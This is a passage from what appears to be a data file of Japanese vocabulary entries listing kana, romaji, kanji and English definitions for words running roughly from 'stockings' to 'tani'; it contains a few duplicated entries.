stove)\"\n\t},\n\n\t{\n\t\t'kana':'ストッキング',\n\t\t'romaji':'sutokingu',\n\t\t'kanji':'',\n\t\t'definition':\"stockings\"\n\t},\n\n\t{\n\t\t'kana':'ストップ',\n\t\t'romaji':'sutopu',\n\t\t'kanji':'',\n\t\t'definition':\"stop\"\n\t},\n\n\t{\n\t\t'kana':'ストライキ',\n\t\t'romaji':'sutoraiki',\n\t\t'kanji':'',\n\t\t'definition':\"strike\"\n\t},\n\n\t{\n\t\t'kana':'ストレス',\n\t\t'romaji':'sutoresu',\n\t\t'kanji':'',\n\t\t'definition':\"stress\"\n\t},\n\n\t{\n\t\t'kana':'ストロー',\n\t\t'romaji':'sutoro-',\n\t\t'kanji':'',\n\t\t'definition':\"straw\"\n\t},\n\n\t{\n\t\t'kana':'ストロボ',\n\t\t'romaji':'sutorobo',\n\t\t'kanji':'',\n\t\t'definition':\"stroboscope (lit: strobo);strobe lamp;stroboscopic lamp\"\n\t},\n\n\t{\n\t\t'kana':'スーツ',\n\t\t'romaji':'su-tsu',\n\t\t'kanji':'',\n\t\t'definition':\"suit\"\n\t},\n\n\t{\n\t\t'kana':'スーツケース',\n\t\t'romaji':'su-tsuke-su',\n\t\t'kanji':'',\n\t\t'definition':\"suitcase\"\n\t},\n\n\t{\n\t\t'kana':'スチュワーデス',\n\t\t'romaji':'sutyuwa-desu',\n\t\t'kanji':'',\n\t\t'definition':\"stewardess\"\n\t},\n\n\t{\n\t\t'kana':'すう',\n\t\t'romaji':'suu',\n\t\t'kanji':'吸う',\n\t\t'definition':\"to smoke;to breathe in;to suck\"\n\t},\n\n\t{\n\t\t'kana':'すうがく',\n\t\t'romaji':'suugaku',\n\t\t'kanji':'数学',\n\t\t'definition':\"mathematics;arithmetic\"\n\t},\n\n\t{\n\t\t'kana':'すうはい',\n\t\t'romaji':'suuhai',\n\t\t'kanji':'崇拝',\n\t\t'definition':\"worship;adoration;admiration;cult\"\n\t},\n\n\t{\n\t\t'kana':'すうじ',\n\t\t'romaji':'suuji',\n\t\t'kanji':'数字',\n\t\t'definition':\"numeral;figure\"\n\t},\n\n\t{\n\t\t'kana':'すうし',\n\t\t'romaji':'suushi',\n\t\t'kanji':'数詞',\n\t\t'definition':\"numeral\"\n\t},\n\n\t{\n\t\t'kana':'すわる',\n\t\t'romaji':'suwaru',\n\t\t'kanji':'座る',\n\t\t'definition':\"to sit\"\n\t},\n\n\t{\n\t\t'kana':'すず',\n\t\t'romaji':'suzu',\n\t\t'kanji':'鈴',\n\t\t'definition':\"bell\"\n\t},\n\n\t{\n\t\t'kana':'すずむ',\n\t\t'romaji':'suzumu',\n\t\t'kanji':'涼む',\n\t\t'definition':\"to cool oneself;to cool off;to enjoy evening cool\"\n\t},\n\n\t{\n\t\t'kana':'すずしい',\n\t\t'romaji':'suzushii',\n\t\t'kanji':'涼しい',\n\t\t'definition':\"cool;refreshing\"\n\t},\n\n\t{\n\t\t'kana':'シャッター',\n\t\t'romaji':'syata-',\n\t\t'kanji':'',\n\t\t'definition':\"shutter\"\n\t},\n\n\t{\n\t\t'kana':'シャツ',\n\t\t'romaji':'syatsu',\n\t\t'kanji':'',\n\t\t'definition':\"shirt;singlet\"\n\t},\n\n\t{\n\t\t'kana':'シャワー',\n\t\t'romaji':'syawa-',\n\t\t'kanji':'',\n\t\t'definition':\"shower\"\n\t},\n\n\t{\n\t\t'kana':'ショー',\n\t\t'romaji':'syo-',\n\t\t'kanji':'',\n\t\t'definition':\"show\"\n\t},\n\n\t{\n\t\t'kana':'ショック',\n\t\t'romaji':'syoku',\n\t\t'kanji':'',\n\t\t'definition':\"shock\"\n\t},\n\n\t{\n\t\t'kana':'ショップ',\n\t\t'romaji':'syopu',\n\t\t'kanji':'',\n\t\t'definition':\"a shop\"\n\t},\n\n\t{\n\t\t'kana':'た',\n\t\t'romaji':'ta',\n\t\t'kanji':'田',\n\t\t'definition':\"rice field\"\n\t},\n\n\t{\n\t\t'kana':'たば',\n\t\t'romaji':'taba',\n\t\t'kanji':'束',\n\t\t'definition':\"bundle;bunch;sheaf;coil\"\n\t},\n\n\t{\n\t\t'kana':'たばこ',\n\t\t'romaji':'tabako',\n\t\t'kanji':'煙草',\n\t\t'definition':\"(pt:) (n) (uk) tobacco (pt: tabaco);cigarettes\"\n\t},\n\n\t{\n\t\t'kana':'たばねる',\n\t\t'romaji':'tabaneru',\n\t\t'kanji':'束ねる',\n\t\t'definition':\"to tie up in a bundle;to govern;to manage;to control;to fold (one's arms);to administer\"\n\t},\n\n\t{\n\t\t'kana':'たべる',\n\t\t'romaji':'taberu',\n\t\t'kanji':'食べる',\n\t\t'definition':\"to eat\"\n\t},\n\n\t{\n\t\t'kana':'たび',\n\t\t'romaji':'tabi',\n\t\t'kanji':'度',\n\t\t'definition':\"times (three times etc.);degree\"\n\t},\n\n\t{\n\t\t'kana':'たび',\n\t\t'romaji':'tabi',\n\t\t'kanji':'旅',\n\t\t'definition':\"travel;trip;journey\"\n\t},\n\n\t{\n\t\t'kana':'たび',\n\t\t'romaji':'tabi',\n\t\t'kanji':'度',\n\t\t'definition':\"times (three times etc.);degree\"\n\t},\n\n\t{\n\t\t'kana':'たび',\n\t\t'romaji':'tabi',\n\t\t'kanji':'足袋',\n\t\t'definition':\"tabi;Japanese socks (with split toe)\"\n\t},\n\n\t{\n\t\t'kana':'たびたび',\n\t\t'romaji':'tabitabi',\n\t\t'kanji':'度々',\n\t\t'definition':\"often;repeatedly;frequently\"\n\t},\n\n\t{\n\t\t'kana':'たぼう',\n\t\t'romaji':'tabou',\n\t\t'kanji':'多忙',\n\t\t'definition':\"busy;pressure of work\"\n\t},\n\n\t{\n\t\t'kana':'たぶん',\n\t\t'romaji':'tabun',\n\t\t'kanji':'多分',\n\t\t'definition':\"perhaps;probably\"\n\t},\n\n\t{\n\t\t'kana':'たち',\n\t\t'romaji':'tachi',\n\t\t'kanji':'館',\n\t\t'definition':\"1. mansion;small castle\"\n\t},\n\n\t{\n\t\t'kana':'たちあがる',\n\t\t'romaji':'tachiagaru',\n\t\t'kanji':'立ち上がる',\n\t\t'definition':\"to stand up\"\n\t},\n\n\t{\n\t\t'kana':'たちば',\n\t\t'romaji':'tachiba',\n\t\t'kanji':'立場',\n\t\t'definition':\"standpoint;position;situation\"\n\t},\n\n\t{\n\t\t'kana':'たちどまる',\n\t\t'romaji':'tachidomaru',\n\t\t'kanji':'立ち止まる',\n\t\t'definition':\"to stop;to halt;to stand still\"\n\t},\n\n\t{\n\t\t'kana':'たちかた',\n\t\t'romaji':'tachikata',\n\t\t'kanji':'立方',\n\t\t'definition':\"dancing (geisha)\"\n\t},\n\n\t{\n\t\t'kana':'たちまち',\n\t\t'romaji':'tachimachi',\n\t\t'kanji':'忽ち',\n\t\t'definition':\"at once;in a moment;suddenly;all at once\"\n\t},\n\n\t{\n\t\t'kana':'たちさる',\n\t\t'romaji':'tachisaru',\n\t\t'kanji':'立ち去る',\n\t\t'definition':\"to leave;to depart;to take one's leave\"\n\t},\n\n\t{\n\t\t'kana':'たちよる',\n\t\t'romaji':'tachiyoru',\n\t\t'kanji':'立ち寄る',\n\t\t'definition':\"to stop by;to drop in for a short visit\"\n\t},\n\n\t{\n\t\t'kana':'ただ',\n\t\t'romaji':'tada',\n\t\t'kanji':'唯',\n\t\t'definition':\"free of charge;mere;sole;usual;common\"\n\t},\n\n\t{\n\t\t'kana':'ただ',\n\t\t'romaji':'tada',\n\t\t'kanji':'只',\n\t\t'definition':\"free;only\"\n\t},\n\n\t{\n\t\t'kana':'ただ',\n\t\t'romaji':'tada',\n\t\t'kanji':'只',\n\t\t'definition':\"free;only\"\n\t},\n\n\t{\n\t\t'kana':'ただちに',\n\t\t'romaji':'tadachini',\n\t\t'kanji':'直ちに',\n\t\t'definition':\"at once;immediately;directly;in person\"\n\t},\n\n\t{\n\t\t'kana':'ただいま',\n\t\t'romaji':'tadaima',\n\t\t'kanji':'ただ今',\n\t\t'definition':\"Here I am;I'm home!;presently;right away;right now;just now\"\n\t},\n\n\t{\n\t\t'kana':'ただし',\n\t\t'romaji':'tadashi',\n\t\t'kanji':'但し',\n\t\t'definition':\"but;however;provided that\"\n\t},\n\n\t{\n\t\t'kana':'ただしい',\n\t\t'romaji':'tadashii',\n\t\t'kanji':'正しい',\n\t\t'definition':\"right;just;correct;righteous;honest;truthful;proper;straightforward;perfect\"\n\t},\n\n\t{\n\t\t'kana':'ただよう',\n\t\t'romaji':'tadayou',\n\t\t'kanji':'漂う',\n\t\t'definition':\"to drift about;to float;to hang in air\"\n\t},\n\n\t{\n\t\t'kana':'たどりつく',\n\t\t'romaji':'tadoritsuku',\n\t\t'kanji':'辿り着く',\n\t\t'definition':\"to grope along to;to struggle on to;to arrive somewhere after a struggle\"\n\t},\n\n\t{\n\t\t'kana':'たどる',\n\t\t'romaji':'tadoru',\n\t\t'kanji':'辿る',\n\t\t'definition':\"to follow (road);to pursue (course);to follow up\"\n\t},\n\n\t{\n\t\t'kana':'たどうし',\n\t\t'romaji':'tadoushi',\n\t\t'kanji':'他動詞',\n\t\t'definition':\"transitive verb (direct obj)\"\n\t},\n\n\t{\n\t\t'kana':'たえる',\n\t\t'romaji':'taeru',\n\t\t'kanji':'堪える',\n\t\t'definition':\"to bear;to stand;to endure;to put up with;to support;to withstand;to resist;to brave;to be fit for;to be equal to\"\n\t},\n\n\t{\n\t\t'kana':'たえる',\n\t\t'romaji':'taeru',\n\t\t'kanji':'絶える',\n\t\t'definition':\"to die out;to peter out;to become extinct\"\n\t},\n\n\t{\n\t\t'kana':'たえる',\n\t\t'romaji':'taeru',\n\t\t'kanji':'耐える',\n\t\t'definition':\"to bear;to endure\"\n\t},\n\n\t{\n\t\t'kana':'たえず',\n\t\t'romaji':'taezu',\n\t\t'kanji':'絶えず',\n\t\t'definition':\"constantly\"\n\t},\n\n\t{\n\t\t'kana':'たがい',\n\t\t'romaji':'tagai',\n\t\t'kanji':'互い',\n\t\t'definition':\"mutual;reciprocal\"\n\t},\n\n\t{\n\t\t'kana':'たがやす',\n\t\t'romaji':'tagayasu',\n\t\t'kanji':'耕す',\n\t\t'definition':\"to till;to plow;to cultivate\"\n\t},\n\n\t{\n\t\t'kana':'たぐい',\n\t\t'romaji':'tagui',\n\t\t'kanji':'類',\n\t\t'definition':\"a kind\"\n\t},\n\n\t{\n\t\t'kana':'たほう',\n\t\t'romaji':'tahou',\n\t\t'kanji':'他方',\n\t\t'definition':\"another side;different direction;(on) the other hand\"\n\t},\n\n\t{\n\t\t'kana':'たい',\n\t\t'romaji':'tai',\n\t\t'kanji':'対',\n\t\t'definition':\"ratio;versus;against;opposition\"\n\t},\n\n\t{\n\t\t'kana':'たい',\n\t\t'romaji':'tai',\n\t\t'kanji':'対',\n\t\t'definition':\"ratio;versus;against;opposition\"\n\t},\n\n\t{\n\t\t'kana':'たい',\n\t\t'romaji':'tai',\n\t\t'kanji':'他意',\n\t\t'definition':\"ill will;malice;another intention;secret purpose;ulterior motive;fickleness;double-mindedness\"\n\t},\n\n\t{\n\t\t'kana':'たいぼく',\n\t\t'romaji':'taiboku',\n\t\t'kanji':'大木',\n\t\t'definition':\"large tree\"\n\t},\n\n\t{\n\t\t'kana':'たいぼう',\n\t\t'romaji':'taibou',\n\t\t'kanji':'待望',\n\t\t'definition':\"expectant waiting\"\n\t},\n\n\t{\n\t\t'kana':'たいぶ',\n\t\t'romaji':'taibu',\n\t\t'kanji':'大部',\n\t\t'definition':\"most (e.g. most part);greater;fairly;a good deal;much\"\n\t},\n\n\t{\n\t\t'kana':'たいだん',\n\t\t'romaji':'taidan',\n\t\t'kanji':'対談',\n\t\t'definition':\"talk;dialogue;conversation\"\n\t},\n\n\t{\n\t\t'kana':'たいど',\n\t\t'romaji':'taido',\n\t\t'kanji':'態度',\n\t\t'definition':\"attitude;manner\"\n\t},\n\n\t{\n\t\t'kana':'たいふう',\n\t\t'romaji':'taifuu',\n\t\t'kanji':'台風',\n\t\t'definition':\"typhoon\"\n\t},\n\n\t{\n\t\t'kana':'たいがい',\n\t\t'romaji':'taigai',\n\t\t'kanji':'大概',\n\t\t'definition':\"in general;mainly\"\n\t},\n\n\t{\n\t\t'kana':'たいがく',\n\t\t'romaji':'taigaku',\n\t\t'kanji':'退学',\n\t\t'definition':\"dropping out of school\"\n\t},\n\n\t{\n\t\t'kana':'たいぐう',\n\t\t'romaji':'taiguu',\n\t\t'kanji':'待遇',\n\t\t'definition':\"treatment;reception\"\n\t},\n\n\t{\n\t\t'kana':'たいはん',\n\t\t'romaji':'taihan',\n\t\t'kanji':'大半',\n\t\t'definition':\"majority;mostly;generally\"\n\t},\n\n\t{\n\t\t'kana':'たいへん',\n\t\t'romaji':'taihen',\n\t\t'kanji':'対辺',\n\t\t'definition':\"(geometrical) opposite side\"\n\t},\n\n\t{\n\t\t'kana':'たいひ',\n\t\t'romaji':'taihi',\n\t\t'kanji':'対比',\n\t\t'definition':\"contrast;comparison\"\n\t},\n\n\t{\n\t\t'kana':'たいほ',\n\t\t'romaji':'taiho',\n\t\t'kanji':'逮捕',\n\t\t'definition':\"arrest;apprehension;capture\"\n\t},\n\n\t{\n\t\t'kana':'たいいく',\n\t\t'romaji':'taiiku',\n\t\t'kanji':'体育',\n\t\t'definition':\"physical education;gymnastics;athletics\"\n\t},\n\n\t{\n\t\t'kana':'たいいん',\n\t\t'romaji':'taiin',\n\t\t'kanji':'退院',\n\t\t'definition':\"leaving hospital\"\n\t},\n\n\t{\n\t\t'kana':'たいじ',\n\t\t'romaji':'taiji',\n\t\t'kanji':'退治',\n\t\t'definition':\"extermination\"\n\t},\n\n\t{\n\t\t'kana':'たいじゅう',\n\t\t'romaji':'taijyuu',\n\t\t'kanji':'体重',\n\t\t'definition':\"one's body weight\"\n\t},\n\n\t{\n\t\t'kana':'たいか',\n\t\t'romaji':'taika',\n\t\t'kanji':'退化',\n\t\t'definition':\"degeneration;retrogression\"\n\t},\n\n\t{\n\t\t'kana':'たいかい',\n\t\t'romaji':'taikai',\n\t\t'kanji':'大会',\n\t\t'definition':\"convention;tournament;mass meeting;rally\"\n\t},\n\n\t{\n\t\t'kana':'たいかく',\n\t\t'romaji':'taikaku',\n\t\t'kanji':'体格',\n\t\t'definition':\"physique;constitution\"\n\t},\n\n\t{\n\t\t'kana':'たいけい',\n\t\t'romaji':'taikei',\n\t\t'kanji':'体系',\n\t\t'definition':\"system;organization\"\n\t},\n\n\t{\n\t\t'kana':'たいけん',\n\t\t'romaji':'taiken',\n\t\t'kanji':'体験',\n\t\t'definition':\"personal experience\"\n\t},\n\n\t{\n\t\t'kana':'たいけつ',\n\t\t'romaji':'taiketsu',\n\t\t'kanji':'対決',\n\t\t'definition':\"confrontation;showdown\"\n\t},\n\n\t{\n\t\t'kana':'たいき',\n\t\t'romaji':'taiki',\n\t\t'kanji':'大気',\n\t\t'definition':\"atmosphere\"\n\t},\n\n\t{\n\t\t'kana':'たいきん',\n\t\t'romaji':'taikin',\n\t\t'kanji':'大金',\n\t\t'definition':\"great cost\"\n\t},\n\n\t{\n\t\t'kana':'たいこ',\n\t\t'romaji':'taiko',\n\t\t'kanji':'太鼓',\n\t\t'definition':\"drum;tambourine\"\n\t},\n\n\t{\n\t\t'kana':'たいこう',\n\t\t'romaji':'taikou',\n\t\t'kanji':'対抗',\n\t\t'definition':\"opposition;antagonism\"\n\t},\n\n\t{\n\t\t'kana':'たいくつ',\n\t\t'romaji':'taikutsu',\n\t\t'kanji':'退屈',\n\t\t'definition':\"tedium;boredom\"\n\t},\n\n\t{\n\t\t'kana':'タイマー',\n\t\t'romaji':'taima-',\n\t\t'kanji':'',\n\t\t'definition':\"timer\"\n\t},\n\n\t{\n\t\t'kana':'たいまん',\n\t\t'romaji':'taiman',\n\t\t'kanji':'怠慢',\n\t\t'definition':\"negligence;procrastination;carelessness\"\n\t},\n\n\t{\n\t\t'kana':'たいめん',\n\t\t'romaji':'taimen',\n\t\t'kanji':'対面',\n\t\t'definition':\"interview;meeting\"\n\t},\n\n\t{\n\t\t'kana':'タイミング',\n\t\t'romaji':'taimingu',\n\t\t'kanji':'',\n\t\t'definition':\"timing\"\n\t},\n\n\t{\n\t\t'kana':'タイム',\n\t\t'romaji':'taimu',\n\t\t'kanji':'',\n\t\t'definition':\"time\"\n\t},\n\n\t{\n\t\t'kana':'タイムリー',\n\t\t'romaji':'taimuri-',\n\t\t'kanji':'',\n\t\t'definition':\"timely;run-batted-in (baseball);RBI\"\n\t},\n\n\t{\n\t\t'kana':'たいのう',\n\t\t'romaji':'tainou',\n\t\t'kanji':'滞納',\n\t\t'definition':\"non-payment;default\"\n\t},\n\n\t{\n\t\t'kana':'たいおん',\n\t\t'romaji':'taion',\n\t\t'kanji':'体温',\n\t\t'definition':\"temperature (body)\"\n\t},\n\n\t{\n\t\t'kana':'たいおう',\n\t\t'romaji':'taiou',\n\t\t'kanji':'対応',\n\t\t'definition':\"interaction;correspondence;coping with;dealing with\"\n\t},\n\n\t{\n\t\t'kana':'タイピスト',\n\t\t'romaji':'taipisuto',\n\t\t'kanji':'',\n\t\t'definition':\"typist\"\n\t},\n\n\t{\n\t\t'kana':'タイプ',\n\t\t'romaji':'taipu',\n\t\t'kanji':'',\n\t\t'definition':\"type;style;typing\"\n\t},\n\n\t{\n\t\t'kana':'タイプライター',\n\t\t'romaji':'taipuraita-',\n\t\t'kanji':'',\n\t\t'definition':\"typewriter\"\n\t},\n\n\t{\n\t\t'kana':'たいら',\n\t\t'romaji':'taira',\n\t\t'kanji':'平ら',\n\t\t'definition':\"flatness;level;smooth;calm;plain;sitting tailor fashion\"\n\t},\n\n\t{\n\t\t'kana':'たいりく',\n\t\t'romaji':'tairiku',\n\t\t'kanji':'大陸',\n\t\t'definition':\"continent\"\n\t},\n\n\t{\n\t\t'kana':'たいりつ',\n\t\t'romaji':'tairitsu',\n\t\t'kanji':'対立',\n\t\t'definition':\"confrontation;opposition;antagonism\"\n\t},\n\n\t{\n\t\t'kana':'タイル',\n\t\t'romaji':'tairu',\n\t\t'kanji':'',\n\t\t'definition':\"tile\"\n\t},\n\n\t{\n\t\t'kana':'たいりょく',\n\t\t'romaji':'tairyoku',\n\t\t'kanji':'体力',\n\t\t'definition':\"physical strength\"\n\t},\n\n\t{\n\t\t'kana':'たいさく',\n\t\t'romaji':'taisaku',\n\t\t'kanji':'対策',\n\t\t'definition':\"counter-plan;counter-measure\"\n\t},\n\n\t{\n\t\t'kana':'たいせい',\n\t\t'romaji':'taisei',\n\t\t'kanji':'体制',\n\t\t'definition':\"order;system;structure;set-up;organization\"\n\t},\n\n\t{\n\t\t'kana':'たいせい',\n\t\t'romaji':'taisei',\n\t\t'kanji':'態勢',\n\t\t'definition':\"attitude;conditions;preparations\"\n\t},\n\n\t{\n\t\t'kana':'たいせき',\n\t\t'romaji':'taiseki',\n\t\t'kanji':'体積',\n\t\t'definition':\"capacity;volume\"\n\t},\n\n\t{\n\t\t'kana':'たいせん',\n\t\t'romaji':'taisen',\n\t\t'kanji':'大戦',\n\t\t'definition':\"great war;great battle\"\n\t},\n\n\t{\n\t\t'kana':'たいせつ',\n\t\t'romaji':'taisetsu',\n\t\t'kanji':'大切',\n\t\t'definition':\"important\"\n\t},\n\n\t{\n\t\t'kana':'たいし',\n\t\t'romaji':'taishi',\n\t\t'kanji':'大使',\n\t\t'definition':\"ambassador\"\n\t},\n\n\t{\n\t\t'kana':'たいした',\n\t\t'romaji':'taishita',\n\t\t'kanji':'大した',\n\t\t'definition':\"considerable;great;important;significant;a big deal\"\n\t},\n\n\t{\n\t\t'kana':'たいして',\n\t\t'romaji':'taishite',\n\t\t'kanji':'対して',\n\t\t'definition':\"for;in regard to;per\"\n\t},\n\n\t{\n\t\t'kana':'たいしょ',\n\t\t'romaji':'taisho',\n\t\t'kanji':'対処',\n\t\t'definition':\"deal with;cope\"\n\t},\n\n\t{\n\t\t'kana':'たいしょく',\n\t\t'romaji':'taishoku',\n\t\t'kanji':'退職',\n\t\t'definition':\"retirement (from office)\"\n\t},\n\n\t{\n\t\t'kana':'たいしょう',\n\t\t'romaji':'taishou',\n\t\t'kanji':'対照',\n\t\t'definition':\"contrast;antithesis;comparison\"\n\t},\n\n\t{\n\t\t'kana':'たいしょう',\n\t\t'romaji':'taishou',\n\t\t'kanji':'対象',\n\t\t'definition':\"target;object (of worship study etc);subject (of taxation etc)\"\n\t},\n\n\t{\n\t\t'kana':'たいしゅう',\n\t\t'romaji':'taishuu',\n\t\t'kanji':'大衆',\n\t\t'definition':\"general public\"\n\t},\n\n\t{\n\t\t'kana':'たいそう',\n\t\t'romaji':'taisou',\n\t\t'kanji':'体操',\n\t\t'definition':\"gymnastics;physical exercises;calisthenics\"\n\t},\n\n\t{\n\t\t'kana':'たいそう',\n\t\t'romaji':'taisou',\n\t\t'kanji':'体操',\n\t\t'definition':\"gymnastics;physical exercises;calisthenics\"\n\t},\n\n\t{\n\t\t'kana':'たいする',\n\t\t'romaji':'taisuru',\n\t\t'kanji':'対する',\n\t\t'definition':\"to face;to confront;to oppose\"\n\t},\n\n\t{\n\t\t'kana':'たいてい',\n\t\t'romaji':'taitei',\n\t\t'kanji':'大抵',\n\t\t'definition':\"usually;generally\"\n\t},\n\n\t{\n\t\t'kana':'タイトル',\n\t\t'romaji':'taitoru',\n\t\t'kanji':'',\n\t\t'definition':\"title\"\n\t},\n\n\t{\n\t\t'kana':'たいとう',\n\t\t'romaji':'taitou',\n\t\t'kanji':'対等',\n\t\t'definition':\"equivalent\"\n\t},\n\n\t{\n\t\t'kana':'たいわ',\n\t\t'romaji':'taiwa',\n\t\t'kanji':'対話',\n\t\t'definition':\"interactive;interaction;conversation;dialogue\"\n\t},\n\n\t{\n\t\t'kana':'タイヤ',\n\t\t'romaji':'taiya',\n\t\t'kanji':'',\n\t\t'definition':\"tire;tyre\"\n\t},\n\n\t{\n\t\t'kana':'たいよう',\n\t\t'romaji':'taiyou',\n\t\t'kanji':'太陽',\n\t\t'definition':\"sun;solar\"\n\t},\n\n\t{\n\t\t'kana':'たいざい',\n\t\t'romaji':'taizai',\n\t\t'kanji':'滞在',\n\t\t'definition':\"stay;sojourn\"\n\t},\n\n\t{\n\t\t'kana':'たか',\n\t\t'romaji':'taka',\n\t\t'kanji':'高',\n\t\t'definition':\"quantity;amount;volume;number;amount of money\"\n\t},\n\n\t{\n\t\t'kana':'たかい',\n\t\t'romaji':'takai',\n\t\t'kanji':'高い',\n\t\t'definition':\"tall;high;expensive\"\n\t},\n\n\t{\n\t\t'kana':'たかまる',\n\t\t'romaji':'takamaru',\n\t\t'kanji':'高まる',\n\t\t'definition':\"to rise;to swell;to be promoted\"\n\t},\n\n\t{\n\t\t'kana':'たかめる',\n\t\t'romaji':'takameru',\n\t\t'kanji':'高める',\n\t\t'definition':\"to raise;to lift;to boost\"\n\t},\n\n\t{\n\t\t'kana':'たから',\n\t\t'romaji':'takara',\n\t\t'kanji':'宝',\n\t\t'definition':\"treasure\"\n\t},\n\n\t{\n\t\t'kana':'たけ',\n\t\t'romaji':'take',\n\t\t'kanji':'竹',\n\t\t'definition':\"bamboo;middle (of a three-tier ranking system)\"\n\t},\n\n\t{\n\t\t'kana':'たけ',\n\t\t'romaji':'take',\n\t\t'kanji':'丈',\n\t\t'definition':\"height;stature;length;measure;all (one has)\"\n\t},\n\n\t{\n\t\t'kana':'たき',\n\t\t'romaji':'taki',\n\t\t'kanji':'滝',\n\t\t'definition':\"waterfall\"\n\t},\n\n\t{\n\t\t'kana':'たきび',\n\t\t'romaji':'takibi',\n\t\t'kanji':'焚火',\n\t\t'definition':\"(open) fire\"\n\t},\n\n\t{\n\t\t'kana':'たく',\n\t\t'romaji':'taku',\n\t\t'kanji':'炊く',\n\t\t'definition':\"to boil;to cook\"\n\t},\n\n\t{\n\t\t'kana':'たく',\n\t\t'romaji':'taku',\n\t\t'kanji':'宅',\n\t\t'definition':\"house;home;husband\"\n\t},\n\n\t{\n\t\t'kana':'たくましい',\n\t\t'romaji':'takumashii',\n\t\t'kanji':'逞しい',\n\t\t'definition':\"burly;strong;sturdy\"\n\t},\n\n\t{\n\t\t'kana':'たくみ',\n\t\t'romaji':'takumi',\n\t\t'kanji':'巧み',\n\t\t'definition':\"skill;cleverness\"\n\t},\n\n\t{\n\t\t'kana':'たくさん',\n\t\t'romaji':'takusan',\n\t\t'kanji':'沢山',\n\t\t'definition':\"many;a lot;much\"\n\t},\n\n\t{\n\t\t'kana':'タクシー',\n\t\t'romaji':'takushi-',\n\t\t'kanji':'',\n\t\t'definition':\"taxi\"\n\t},\n\n\t{\n\t\t'kana':'たくわえる',\n\t\t'romaji':'takuwaeru',\n\t\t'kanji':'蓄える',\n\t\t'definition':\"to store;to lay in stock\"\n\t},\n\n\t{\n\t\t'kana':'たま',\n\t\t'romaji':'tama',\n\t\t'kanji':'球',\n\t\t'definition':\"globe;sphere;ball\"\n\t},\n\n\t{\n\t\t'kana':'たま',\n\t\t'romaji':'tama',\n\t\t'kanji':'弾',\n\t\t'definition':\"bullet;shot;shell\"\n\t},\n\n\t{\n\t\t'kana':'たまご',\n\t\t'romaji':'tamago',\n\t\t'kanji':'卵',\n\t\t'definition':\"1. egg(s);spawn;roe; 2. (an expert) in the making\"\n\t},\n\n\t{\n\t\t'kana':'たまに',\n\t\t'romaji':'tamani',\n\t\t'kanji':'偶に',\n\t\t'definition':\"occasionally;once in a while\"\n\t},\n\n\t{\n\t\t'kana':'たまらない',\n\t\t'romaji':'tamaranai',\n\t\t'kanji':'堪らない',\n\t\t'definition':\"intolerable;unbearable;unendurable\"\n\t},\n\n\t{\n\t\t'kana':'たまり',\n\t\t'romaji':'tamari',\n\t\t'kanji':'溜まり',\n\t\t'definition':\"collected things;gathering place;arrears\"\n\t},\n\n\t{\n\t\t'kana':'たまる',\n\t\t'romaji':'tamaru',\n\t\t'kanji':'溜まる',\n\t\t'definition':\"to collect;to gather;to save\"\n\t},\n\n\t{\n\t\t'kana':'たまる',\n\t\t'romaji':'tamaru',\n\t\t'kanji':'溜まる',\n\t\t'definition':\"to collect;to gather;to save\"\n\t},\n\n\t{\n\t\t'kana':'たまたま',\n\t\t'romaji':'tamatama',\n\t\t'kanji':'偶々',\n\t\t'definition':\"casually;unexpectedly;accidentally;by chance\"\n\t},\n\n\t{\n\t\t'kana':'たまう',\n\t\t'romaji':'tamau',\n\t\t'kanji':'給う',\n\t\t'definition':\"to receive;to grant\"\n\t},\n\n\t{\n\t\t'kana':'たまわる',\n\t\t'romaji':'tamawaru',\n\t\t'kanji':'賜る',\n\t\t'definition':\"to grant;to bestow\"\n\t},\n\n\t{\n\t\t'kana':'ため',\n\t\t'romaji':'tame',\n\t\t'kanji':'為',\n\t\t'definition':\"good;advantage;benefit;welfare;sake;to;in order to;because of;as a result of\"\n\t},\n\n\t{\n\t\t'kana':'ためいき',\n\t\t'romaji':'tameiki',\n\t\t'kanji':'溜息',\n\t\t'definition':\"a sigh\"\n\t},\n\n\t{\n\t\t'kana':'ためらう',\n\t\t'romaji':'tamerau',\n\t\t'kanji':'躊躇う',\n\t\t'definition':\"to hesitate\"\n\t},\n\n\t{\n\t\t'kana':'ためし',\n\t\t'romaji':'tameshi',\n\t\t'kanji':'例',\n\t\t'definition':\"instance;example;case;precedent;experience;custom;usage;parallel;illustration\"\n\t},\n\n\t{\n\t\t'kana':'ためし',\n\t\t'romaji':'tameshi',\n\t\t'kanji':'試し',\n\t\t'definition':\"trial;test\"\n\t},\n\n\t{\n\t\t'kana':'ためす',\n\t\t'romaji':'tamesu',\n\t\t'kanji':'試す',\n\t\t'definition':\"to attempt;to test\"\n\t},\n\n\t{\n\t\t'kana':'たもつ',\n\t\t'romaji':'tamotsu',\n\t\t'kanji':'保つ',\n\t\t'definition':\"to keep;to preserve;to hold;to retain;to maintain;to support;to sustain;to last;to endure;to keep well (food);to wear well;to be durable\"\n\t},\n\n\t{\n\t\t'kana':'たん',\n\t\t'romaji':'tan',\n\t\t'kanji':'反',\n\t\t'definition':\"roll of cloth (c. 10 yds.);.245 acres;300 tsubo\"\n\t},\n\n\t{\n\t\t'kana':'たん',\n\t\t'romaji':'tan',\n\t\t'kanji':'歎',\n\t\t'definition':\"grief;sigh;lamentation\"\n\t},\n\n\t{\n\t\t'kana':'たな',\n\t\t'romaji':'tana',\n\t\t'kanji':'棚',\n\t\t'definition':\"shelves;rack\"\n\t},\n\n\t{\n\t\t'kana':'たなごころ',\n\t\t'romaji':'tanagokoro',\n\t\t'kanji':'掌',\n\t\t'definition':\"the palm\"\n\t},\n\n\t{\n\t\t'kana':'たんちょう',\n\t\t'romaji':'tanchou',\n\t\t'kanji':'単調',\n\t\t'definition':\"monotony;monotone;dullness\"\n\t},\n\n\t{\n\t\t'kana':'たんだい',\n\t\t'romaji':'tandai',\n\t\t'kanji':'短大',\n\t\t'definition':\"junior college\"\n\t},\n\n\t{\n\t\t'kana':'たんどく',\n\t\t'romaji':'tandoku',\n\t\t'kanji':'単独',\n\t\t'definition':\"sole;independence;single;solo (flight)\"\n\t},\n\n\t{\n\t\t'kana':'たんご',\n\t\t'romaji':'tango',\n\t\t'kanji':'単語',\n\t\t'definition':\"word;vocabulary;single-character word\"\n\t},\n\n\t{\n\t\t'kana':'たんい',\n\t\t'romaji':'tani',\n\t\t'kanji':'単位',\n\t\t'definition':\"unit;denomination;credit (in 